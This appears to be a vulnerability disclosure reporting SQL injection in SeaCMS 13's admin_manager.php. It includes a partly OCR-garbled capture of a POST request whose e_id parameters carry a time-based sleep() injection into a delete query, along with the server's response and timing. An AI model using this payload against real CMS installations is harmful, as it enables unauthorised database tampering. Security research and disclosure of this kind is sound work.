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Analysis Report:

filename: \SeaCMS_13\Upload\o09sgn\admin_manager.php
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Variables are simply concatenated directly into sql statements resulting in sql injection
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Verification

Sending a request triggers sql injection

E o) < vl > v mmEmm BiF: httpy//192.168.255.156 /2 HTTP/1 (2)
== Inspector L] T = X a
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£t  Raw  Hex Queryparams  Bodyparams  §%f = WSk Raw  Hex mEER 42 o= mRmi > v 7
1 POST /Bmrumn/admin_manager. php?action=delall HTTP/1.1 1 HTTP/1.1 302 Found E
2 Host: 192.168.255.156 2 Date: Wed, 08 Jan 2025 17:35:58 GMT EREAEN 1 v g
3 Cache—Control: max-age=0 3 Server: Apache/2.4.39 (Winb4) OpenSSL/1.1.1b mod_fogid/2.3.9a B
4 Upgrade-Insecure-Requests: 1 mod_log_rotate/1.02 EREESH 2 v
5 Origin: http://192.168. 255. 156 4 X-Powered-By: PHP/7.3.4 B
6 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac 08 X 10.15; rv:129.0) 5 Expires: Thu, 19 Nov 1981 08:52:00 GMT i&kcookies 1 v
Gecko/20100101 Firefox/129.0 4 Pragma: no—cache =
7 Accept: v v . . . o 7 Cachetcontroli private BRL 13 e %
text/html, application/xhtml+xml, application/xml;q=0.9, image/avif, im 8 Location: admin_manager.php 10
age/webp, image/apng;a=0. 8, application/signed-exchange;v=b3;q=0.7 9 Keep-Alive: timeout=5, max=100 .
8 Referer: 10 Connection: Keep-Alive CEES 1 h
http://192.168. 255, 156/8mrumn/admin_datarelate. php?action=result 11 Content-Type: text/html; charset=utf-8§
9 Accept-Encoding: gzip, deflate, br 12 Content-Length: 157
10 Accept-Language: zh-CN, zh;q=0.9 13
11 GCookie: PHPSESSID=5v93294nu5rugkd20hédisjrhd 14 select sleep(3)) and sleep(4) and id in (100,300
12 Gonnegtio 15 delete from “sea_admin’ where id in (select sleep(3)) and sleep(4)
13 Content-Type: application/x—www—form-urlencoded and id in (100,300) And id<>
14 Content-Length: 64 1 And id<>
15 "

16 e_id[0]=select sleep(3)) and sleep(4) and id in (100&e_id[1]=300)
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FE | 552515 | 3,033 millis
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